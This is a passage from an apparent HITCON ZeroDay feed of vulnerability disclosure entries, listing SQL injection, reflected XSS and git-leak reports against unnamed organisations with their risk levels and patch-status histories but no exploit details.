     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       未修補
      </span>
     </div>
    </li>
    <li class="not-arrived-yet">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       未複測
      </span>
     </div>
    </li>
    <li class="not-arrived-yet">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       公開
      </span>
     </div>
    </li>
   </ul>
   <h4 class="always-not-there">
    處理歷程
   </h4>
   <div class="status-log" data-label-expand="點此顯示完整的處理歷程" data-label-fold="收合完整歷程" onclick="onClickToggleVulStatLog(event)">
   </div>
   <ul class="status-log-list" id="vul-status-log-list">
    <li>
     <span class="log-date">
      2022/10/07 09:07:46
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      新提交 (由 暖男 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/10/09 01:08:40
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/10/12 22:28:35
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/10/12 22:28:35
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/10/12 22:28:35
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
     </span>
    </li>
   </ul>
  </div>
 </section>
 <section class="vul-detail-section">
  <h3 class="sec-title">
   詳細資料
  </h3>
  <div class="section-content info">
   <ul>
    <li>
     ZDID：ZD-2022-00842
    </li>
    <li>
     通報者：jjj378 (
     <a href="/user/jjj378">
      暖男
     </a>
     )
    </li>
    <li>
     風險：高
    </li>
    <li>
     類型：資料庫注入攻擊 (SQL Injection)
    </li>
   </ul>
  </div>
 </section>
 <section class="vul-detail-section vu-d-cmnt">
  <h3 class="sec-title">
   留言討論
  </h3>
  <div class="section-content">
   <div class="zdui-comment-block">
    <div class="comments-block" id="comments_block">
    </div>
    <div class="login-and-comment">
     <a href="/auth/login">
      登入後留言
     </a>
    </div>
   </div>
  </div>
 </section>
</div>
</description><pubDate>Fri, 07 Oct 2022 09:07:46 GMT</pubDate></item><item><title> 某單位 sqli</title><link>https://zeroday.hitcon.org/vulnerability/ZD-2022-00841</link><description><div class="container">
 <h2 class="always-not-there">
  Vulnerability Detail Report
 </h2>
 <section class="vul-detail-section overview">
  <h3 class="always-not-there">
   Vulnerability Overview
  </h3>
  <div class="section-content overview">
   <ul>
    <li class="zdid col-risk-high-pseud-b">
     <span class="label">
      ZDID:
     </span>
     <span class="value">
      ZD-2022-00841
     </span>
    </li>
    <li class="title">
     <span class="label">
      Title:
     </span>
     <span class="value">
      某單位 sqli
     </span>
    </li>
    <li class="intro">
     <span class="label">
      Introduction:
     </span>
     <span class="value">
      sql injection
     </span>
    </li>
   </ul>
  </div>
 </section>
 <section class="vul-detail-section">
  <h3 class="sec-title">
   處理狀態
  </h3>
  <div class="section-content status">
   <h4 class="always-not-there">
    目前狀態
   </h4>
   <div class="status-label col-status-200-tx">
    通報未回應
   </div>
   <div class="status-descr">
    Last Update : 2022/10/12
   </div>
   <ul class="zdui-status-timeline stat-tn-risk-high">
    <li class="">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       新提交
      </span>
     </div>
    </li>
    <li class="">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       已審核
      </span>
     </div>
    </li>
    <li class="just-arrived arriving">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       通報中
      </span>
     </div>
    </li>
    <li class="not-arrived-yet">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       未修補
      </span>
     </div>
    </li>
    <li class="not-arrived-yet">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       未複測
      </span>
     </div>
    </li>
    <li class="not-arrived-yet">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       公開
      </span>
     </div>
    </li>
   </ul>
   <h4 class="always-not-there">
    處理歷程
   </h4>
   <div class="status-log" data-label-expand="點此顯示完整的處理歷程" data-label-fold="收合完整歷程" onclick="onClickToggleVulStatLog(event)">
   </div>
   <ul class="status-log-list" id="vul-status-log-list">
    <li>
     <span class="log-date">
      2022/10/06 21:26:38
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      新提交 (由 暖男 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/10/09 01:08:01
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/10/12 22:27:03
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/10/12 22:27:03
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/10/12 22:27:03
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
     </span>
    </li>
   </ul>
  </div>
 </section>
 <section class="vul-detail-section">
  <h3 class="sec-title">
   詳細資料
  </h3>
  <div class="section-content info">
   <ul>
    <li>
     ZDID：ZD-2022-00841
    </li>
    <li>
     通報者：jjj378 (
     <a href="/user/jjj378">
      暖男
     </a>
     )
    </li>
    <li>
     風險：高
    </li>
    <li>
     類型：資料庫注入攻擊 (SQL Injection)
    </li>
   </ul>
  </div>
 </section>
 <section class="vul-detail-section vu-d-cmnt">
  <h3 class="sec-title">
   留言討論
  </h3>
  <div class="section-content">
   <div class="zdui-comment-block">
    <div class="comments-block" id="comments_block">
    </div>
    <div class="login-and-comment">
     <a href="/auth/login">
      登入後留言
     </a>
    </div>
   </div>
  </div>
 </section>
</div>
</description><pubDate>Thu, 06 Oct 2022 21:26:38 GMT</pubDate></item><item><title> 某單位 XSS</title><link>https://zeroday.hitcon.org/vulnerability/ZD-2022-00835</link><description><div class="container">
 <h2 class="always-not-there">
  Vulnerability Detail Report
 </h2>
 <section class="vul-detail-section overview">
  <h3 class="always-not-there">
   Vulnerability Overview
  </h3>
  <div class="section-content overview">
   <ul>
    <li class="zdid col-risk-low-pseud-b">
     <span class="label">
      ZDID:
     </span>
     <span class="value">
      ZD-2022-00835
     </span>
    </li>
    <li class="title">
     <span class="label">
      Title:
     </span>
     <span class="value">
      某單位 XSS
     </span>
    </li>
    <li class="intro">
     <span class="label">
      Introduction:
     </span>
     <span class="value">
      利用ckeditor之index.html
     </span>
    </li>
   </ul>
  </div>
 </section>
 <section class="vul-detail-section">
  <h3 class="sec-title">
   處理狀態
  </h3>
  <div class="section-content status">
   <h4 class="always-not-there">
    目前狀態
   </h4>
   <div class="status-label col-status-200-tx">
    修補中
   </div>
   <div class="status-descr">
    Last Update : 2022/10/12
   </div>
   <ul class="zdui-status-timeline stat-tn-risk-low">
    <li class="">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       新提交
      </span>
     </div>
    </li>
    <li class="">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       已審核
      </span>
     </div>
    </li>
    <li class="">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       已通報
      </span>
     </div>
    </li>
    <li class="just-arrived arriving">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       修補階段
      </span>
     </div>
    </li>
    <li class="not-arrived-yet">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       未複測
      </span>
     </div>
    </li>
    <li class="not-arrived-yet">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       公開
      </span>
     </div>
    </li>
   </ul>
   <h4 class="always-not-there">
    處理歷程
   </h4>
   <div class="status-log" data-label-expand="點此顯示完整的處理歷程" data-label-fold="收合完整歷程" onclick="onClickToggleVulStatLog(event)">
   </div>
   <ul class="status-log-list" id="vul-status-log-list">
    <li>
     <span class="log-date">
      2022/10/03 21:58:08
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      新提交 (由 handsome_boy 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/10/05 00:50:13
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/10/12 22:25:40
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/10/12 22:25:40
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/10/12 22:25:40
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
     </span>
    </li>
   </ul>
  </div>
 </section>
 <section class="vul-detail-section">
  <h3 class="sec-title">
   詳細資料
  </h3>
  <div class="section-content info">
   <ul>
    <li>
     ZDID：ZD-2022-00835
    </li>
    <li>
     通報者：glass860 (
     <a href="/user/glass860">
      handsome_boy
     </a>
     )
    </li>
    <li>
     風險：低
    </li>
    <li>
     類型：反射型跨站腳本攻擊 (Reflected Cross-Site Scripting)
    </li>
   </ul>
  </div>
 </section>
 <section class="vul-detail-section vu-d-cmnt">
  <h3 class="sec-title">
   留言討論
  </h3>
  <div class="section-content">
   <div class="zdui-comment-block">
    <div class="comments-block" id="comments_block">
    </div>
    <div class="login-and-comment">
     <a href="/auth/login">
      登入後留言
     </a>
    </div>
   </div>
  </div>
 </section>
</div>
</description><pubDate>Mon, 03 Oct 2022 21:58:08 GMT</pubDate></item><item><title> 某單位 git leak</title><link>https://zeroday.hitcon.org/vulnerability/ZD-2022-00834</link><description><div class="container">
 <h2 class="always-not-there">
  Vulnerability Detail Report
 </h2>
 <section class="vul-detail-section overview">
  <h3 class="always-not-there">
   Vulnerability Overview
  </h3>
  <div class="section-content overview">
   <ul>
    <li class="zdid col-risk-high-pseud-b">
     <span class="label">
      ZDID:
     </span>
     <span class="value">
      ZD-2022-00834
     </span>
    </li>
    <li class="title">
     <span class="label">
      Title:
     </span>
     <span class="value">
      某單位 git leak
     </span>
    </li>
    <li class="intro">
     <span class="label">
      Introduction:
     </span>
     <span class="value">
      git leak造成原始碼外洩
     </span>
    </li>
   </ul>
  </div>
 </section>
 <section class="vul-detail-section">
  <h3 class="sec-title">
   處理狀態
  </h3>
  <div class="section-content status">
   <h4 class="always-not-there">
    目前狀態
   </h4>
   <div class="status-label col-status-200-tx">
    修補中
   </div>
   <div class="status-descr">
    Last Update : 2022/10/12
   </div>
   <ul class="zdui-status-timeline stat-tn-risk-high">
    <li class="">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       新提交
      </span>
     </div>
    </li>
    <li class="">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       已審核
      </span>
     </div>
    </li>
    <li class="">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       已通報
      </span>
     </div>
    </li>
    <li class="just-arrived arriving">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       修補階段
      </span>
     </div>
    </li>
    <li class="not-arrived-yet">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       未複測
      </span>
     </div>
    </li>
    <li class="not-arrived-yet">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       公開
      </span>
     </div>
    </li>
   </ul>
   <h4 class="always-not-there">
    處理歷程
   </h4>
   <div class="status-log" data-label-expand="點此顯示完整的處理歷程" data-label-fold="收合完整歷程" onclick="onClickToggleVulStatLog(event)">
   </div>
   <ul class="status-log-list" id="vul-status-log-list">
    <li>
     <span class="log-date">
      2022/10/03 21:54:24
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      新提交 (由 handsome_boy 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/10/03 21:54:57
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      新提交 (由 handsome_boy 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/10/05 00:49:50
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/10/12 22:25:23
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/10/12 22:25:23
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/10/12 22:25:23
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
     </span>
    </li>
   </ul>
  </div>
 </section>
 <section class="vul-detail-section">
  <h3 class="sec-title">
   詳細資料
  </h3>
  <div class="section-content info">
   <ul>
    <li>
     ZDID：ZD-2022-00834
    </li>
    <li>
     通報者：glass860 (
     <a href="/user/glass860">
      handsome_boy
     </a>
     )
    </li>
    <li>
     風險：高
    </li>
    <li>
     類型：邏輯漏洞 (Logic Flaws)
    </li>
   </ul>
  </div>
 </section>
 <section class="vul-detail-section vu-d-cmnt">
  <h3 class="sec-title">
   留言討論
  </h3>
  <div class="section-content">
   <div class="zdui-comment-block">
    <div class="comments-block" id="comments_block">
    </div>
    <div class="login-and-comment">
     <a href="/auth/login">
      登入後留言
     </a>
    </div>
   </div>
  </div>
 </section>
</div>
</description><pubDate>Mon, 03 Oct 2022 21:54:24 GMT</pubDate></item><item><title> 某單位 不只是圖書館 Not Just Library ResolveUrl XSS</title><link>https://zeroday.hitcon.org/vulnerability/ZD-2022-00825</link><description><div class="container">
 <h2 class="always-not-there">
  Vulnerability Detail Report
 </h2>
 <section class="vul-detail-section overview">
  <h3 class="always-not-there">
   Vulnerability Overview
  </h3>
  <div class="section-content overview">
   <ul>
    <li class="zdid col-risk-low-pseud-b">
     <span class="label">
      ZDID:
     </span>
     <span class="value">
      ZD-2022-00825
     </span>
    </li>
    <li class="title">
     <span class="label">
      Title:
     </span>
     <span class="value">
      某單位 不只是圖書館 Not Just Library ResolveUrl XSS
     </span>
    </li>
    <li class="intro">
     <span class="label">
      Introduction:
     </span>
     <span class="value">
      攻擊者可經由該漏洞竊取使用者身份，或進行掛碼、轉址等攻擊行為。  漏洞說明： OWASP - Cross-site Scripting (XSS) https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)  防護原則： OWASP - XSS (Cross Site Scripting) Prevention Cheat Sheet https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting
     </span>
    </li>
   </ul>
  </div>
 </section>
 <section class="vul-detail-section">
  <h3 class="sec-title">
   處理狀態
  </h3>
  <div class="section-content status">
   <h4 class="always-not-there">
    目前狀態
   </h4>
   <div class="status-label col-status-200-tx">
    修補中
   </div>
   <div class="status-descr">
    Last Update : 2022/10/12
   </div>
   <ul class="zdui-status-timeline stat-tn-risk-low">
    <li class="">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       新提交
      </span>
     </div>
    </li>
    <li class="">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       已審核
      </span>
     </div>
    </li>
    <li class="">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       已通報
      </span>
     </div>
    </li>
    <li class="just-arrived arriving">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       修補階段
      </span>
     </div>
    </li>
    <li class="not-arrived-yet">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       未複測
      </span>
     </div>
    </li>
    <li class="not-arrived-yet">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       公開
      </span>
     </div>
    </li>
   </ul>
   <h4 class="always-not-there">
    處理歷程
   </h4>
   <div class="status-log" data-label-expand="點此顯示完整的處理歷程" data-label-fold="收合完整歷程" onclick="onClickToggleVulStatLog(event)">
   </div>
   <ul class="status-log-list" id="vul-status-log-list">
    <li>
     <span class="log-date">
      2022/09/30 13:41:37
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      新提交 (由 閃電哈士奇 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/10/02 08:13:13
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      新提交 (由 閃電哈士奇 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/10/03 00:43:20
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/10/12 22:24:02
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/10/12 22:24:02
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/10/12 22:24:02
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
     </span>
    </li>
   </ul>
  </div>
 </section>
 <section class="vul-detail-section">
  <h3 class="sec-title">
   詳細資料
  </h3>
  <div class="section-content info">
   <ul>
    <li>
     ZDID：ZD-2022-00825
    </li>
    <li>
     通報者：lawrence1118 (
     <a href="/user/lawrence1118">
      閃電哈士奇
     </a>
     )
    </li>
    <li>
     風險：低
    </li>
    <li>
     類型：反射型跨站腳本攻擊 (Reflected Cross-Site Scripting)
    </li>
   </ul>
  </div>
 </section>
 <section class="vul-detail-section vu-d-cmnt">
  <h3 class="sec-title">
   留言討論
  </h3>
  <div class="section-content">
   <div class="zdui-comment-block">
    <div class="comments-block" id="comments_block">
    </div>
    <div class="login-and-comment">
     <a href="/auth/login">
      登入後留言
     </a>
    </div>
   </div>
  </div>
 </section>
</div>
</description><pubDate>Fri, 30 Sep 2022 13:41:37 GMT</pubDate></item><item><title> 某單位 sqli</title><link>https://zeroday.hitcon.org/vulnerability/ZD-2022-00823</link><description><div class="container">
 <h2 class="always-not-there">
  Vulnerability Detail Report
 </h2>
 <section class="vul-detail-section overview">
  <h3 class="always-not-there">
   Vulnerability Overview
  </h3>
  <div class="section-content overview">
   <ul>
    <li class="zdid col-risk-high-pseud-b">
     <span class="label">
      ZDID:
     </span>
     <span class="value">
      ZD-2022-00823
     </span>
    </li>
    <li class="title">
     <span class="label">
      Title:
     </span>
     <span class="value">
      某單位 sqli
     </span>
    </li>
    <li class="intro">
     <span class="label">
      Introduction:
     </span>
     <span class="value">
      Sqli
     </span>
    </li>
   </ul>
  </div>
 </section>
 <section class="vul-detail-section">
  <h3 class="sec-title">
   處理狀態
  </h3>
  <div class="section-content status">
   <h4 class="always-not-there">
    目前狀態
   </h4>
   <div class="status-label col-status-200-tx">
    通報未回應
   </div>
   <div class="status-descr">
    Last Update : 2022/10/12
   </div>
   <ul class="zdui-status-timeline stat-tn-risk-high">
    <li class="">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       新提交
      </span>
     </div>
    </li>
    <li class="">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       已審核
      </span>
     </div>
    </li>
    <li class="just-arrived arriving">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       通報中
      </span>
     </div>
    </li>
    <li class="not-arrived-yet">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       未修補
      </span>
     </div>
    </li>
    <li class="not-arrived-yet">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       未複測
      </span>
     </div>
    </li>
    <li class="not-arrived-yet">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       公開
      </span>
     </div>
    </li>
   </ul>
   <h4 class="always-not-there">
    處理歷程
   </h4>
   <div class="status-log" data-label-expand="點此顯示完整的處理歷程" data-label-fold="收合完整歷程" onclick="onClickToggleVulStatLog(event)">
   </div>
   <ul class="status-log-list" id="vul-status-log-list">
    <li>
     <span class="log-date">
      2022/09/29 21:41:56
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      新提交 (由 暖男 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/10/02 01:57:35
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/10/12 22:19:40
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/10/12 22:19:40
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/10/12 22:19:40
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
     </span>
    </li>
   </ul>
  </div>
 </section>
 <section class="vul-detail-section">
  <h3 class="sec-title">
   詳細資料
  </h3>
  <div class="section-content info">
   <ul>
    <li>
     ZDID：ZD-2022-00823
    </li>
    <li>
     通報者：jjj378 (
     <a href="/user/jjj378">
      暖男
     </a>
     )
    </li>
    <li>
     風險：高
    </li>
    <li>
     類型：資料庫注入攻擊 (SQL Injection)
    </li>
   </ul>
  </div>
 </section>
 <section class="vul-detail-section vu-d-cmnt">
  <h3 class="sec-title">
   留言討論
  </h3>
  <div class="section-content">
   <div class="zdui-comment-block">
    <div class="comments-block" id="comments_block">
    </div>
    <div class="login-and-comment">
     <a href="/auth/login">
      登入後留言
     </a>
    </div>
   </div>
  </div>
 </section>
</div>
</description><pubDate>Thu, 29 Sep 2022 21:41:56 GMT</pubDate></item><item><title> 某單位 sqli</title><link>https://zeroday.hitcon.org/vulnerability/ZD-2022-00822</link><description><div class="container">
 <h2 class="always-not-there">
  Vulnerability Detail Report
 </h2>
 <section class="vul-detail-section overview">
  <h3 class="always-not-there">
   Vulnerability Overview
  </h3>
  <div class="section-content overview">
   <ul>
    <li class="zdid col-risk-high-pseud-b">
     <span class="label">
      ZDID:
     </span>
     <span class="value">
      ZD-2022-00822
     </span>
    </li>
    <li class="title">
     <span class="label">
      Title:
     </span>
     <span class="value">
      某單位 sqli
     </span>
    </li>
    <li class="intro">
     <span class="label">
      Introduction:
     </span>
     <span class="value">
      Sqli
     </span>
    </li>
   </ul>
  </div>
 </section>
 <section class="vul-detail-section">
  <h3 class="sec-title">
   處理狀態
  </h3>
  <div class="section-content status">
   <h4 class="always-not-there">
    目前狀態
   </h4>
   <div class="status-label col-status-200-tx">
    修補中
   </div>
   <div class="status-descr">
    Last Update : 2022/10/12
   </div>
   <ul class="zdui-status-timeline stat-tn-risk-high">
    <li class="">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       新提交
      </span>
     </div>
    </li>
    <li class="">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       已審核
      </span>
     </div>
    </li>
    <li class="">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       已通報
      </span>
     </div>
    </li>
    <li class="just-arrived arriving">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       修補階段
      </span>
     </div>
    </li>
    <li class="not-arrived-yet">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       未複測
      </span>
     </div>
    </li>
    <li class="not-arrived-yet">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       公開
      </span>
     </div>
    </li>
   </ul>
   <h4 class="always-not-there">
    處理歷程
   </h4>
   <div class="status-log" data-label-expand="點此顯示完整的處理歷程" data-label-fold="收合完整歷程" onclick="onClickToggleVulStatLog(event)">
   </div>
   <ul class="status-log-list" id="vul-status-log-list">
    <li>
     <span class="log-date">
      2022/09/29 21:26:53
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      新提交 (由 暖男 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/10/02 01:57:05
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/10/12 22:18:31
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/10/12 22:18:31
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/10/12 22:18:31
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
     </span>
    </li>
   </ul>
  </div>
 </section>
 <section class="vul-detail-section">
  <h3 class="sec-title">
   詳細資料
  </h3>
  <div class="section-content info">
   <ul>
    <li>
     ZDID：ZD-2022-00822
    </li>
    <li>
     通報者：jjj378 (
     <a href="/user/jjj378">
      暖男
     </a>
     )
    </li>
    <li>
     風險：高
    </li>
    <li>
     類型：資料庫注入攻擊 (SQL Injection)
    </li>
   </ul>
  </div>
 </section>
 <section class="vul-detail-section vu-d-cmnt">
  <h3 class="sec-title">
   留言討論
  </h3>
  <div class="section-content">
   <div class="zdui-comment-block">
    <div class="comments-block" id="comments_block">
    </div>
    <div class="login-and-comment">
     <a href="/auth/login">
      登入後留言
     </a>
    </div>
   </div>
  </div>
 </section>
</div>
</description><pubDate>Thu, 29 Sep 2022 21:26:53 GMT</pubDate></item><item><title> 某單位 sqli</title><link>https://zeroday.hitcon.org/vulnerability/ZD-2022-00821</link><description><div class="container">
 <h2 class="always-not-there">
  Vulnerability Detail Report
 </h2>
 <section class="vul-detail-section overview">
  <h3 class="always-not-there">
   Vulnerability Overview
  </h3>
  <div class="section-content overview">
   <ul>
    <li class="zdid col-risk-high-pseud-b">
     <span class="label">
      ZDID:
     </span>
     <span class="value">
      ZD-2022-00821
     </span>
    </li>
    <li class="title">
     <span class="label">
      Title:
     </span>
     <span class="value">
      某單位 sqli
     </span>
    </li>
    <li class="intro">
     <span class="label">
      Introduction:
     </span>
     <span class="value">
      Sqli
     </span>
    </li>
   </ul>
  </div>
 </section>
 <section class="vul-detail-section">
  <h3 class="sec-title">
   處理狀態
  </h3>
  <div class="section-content status">
   <h4 class="always-not-there">
    目前狀態
   </h4>
   <div class="status-label col-status-200-tx">
    通報未回應
   </div>
   <div class="status-descr">
